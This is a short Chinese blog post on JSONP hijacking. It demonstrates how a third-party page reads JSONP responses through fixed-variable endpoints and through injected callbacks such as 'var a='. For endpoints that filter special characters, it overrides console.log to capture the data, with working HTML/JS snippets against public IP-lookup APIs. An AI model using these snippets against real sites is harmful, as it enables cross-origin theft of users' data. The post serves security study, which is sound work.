利用console.log进行JSONP劫持

主要写console.log劫持另类JSONP接口数据的方式,这里就不过多阐述JSONP和JSONP劫持的知识,只贴链接。

什么是JSONP

JSONP是一种跨域传输的方式,具体参考百科JSONP

JSONP在解决跨域传输问题的同时也带来了一些安全问题,比如JSONP劫持,参考知道创宇文章JSONP 安全攻防技术

常规JSONP接口

不能自定义callback

http://pv.sohu.com/cityjson

var returnCitySN = {"cip": "117.119.123.123", "cid": "110000", "cname": "北京市"};

这种接口直接将数据赋值到returnCitySN变量中,通过script标签加载接口后就可以直接使用。

<script src="http://pv.sohu.com/cityjson"></script>
<script>alert(returnCitySN.cip);</script>

能够自定义callback

https://api.ipify.org/?format=jsonp&callback=var%20a=

var a=({"ip":"117.119.74.9"});

这种接口可以自定义callback,这里创建一个a变量并赋值就可以直接使用了。

<script src="https://api.ipify.org/?format=jsonp&callback=var%20a=">
</script>
<script>alert(a.ip);</script>

另类JSONP接口

其实这个和上面的自定义callback一样,只不过接口会对callback参数内的特殊字符进行转换,比如var a=会转换成 vara_,这样就无法创建变量来读取了。

回到标题,利用console.log劫持另类JSONP数据,如果接口没有过滤.,那么就可以利用console.log输出数据,再通过读取console.log日志获取数据。

贴代码,拿上面能够自定义callback的接口做例子。

<script>
    var lastLog;
    console.oldLog = console.log;
    console.log = function (str) {
        console.oldLog(str);
        lastLog = str;
    }
</script>

<script src="https://api.ipify.org/?format=jsonp&callback=console.log"></script>

<script>
    alert(JSON.stringify(lastLog))
</script>

发表评论

电子邮件地址不会被公开。 必填项已用*标注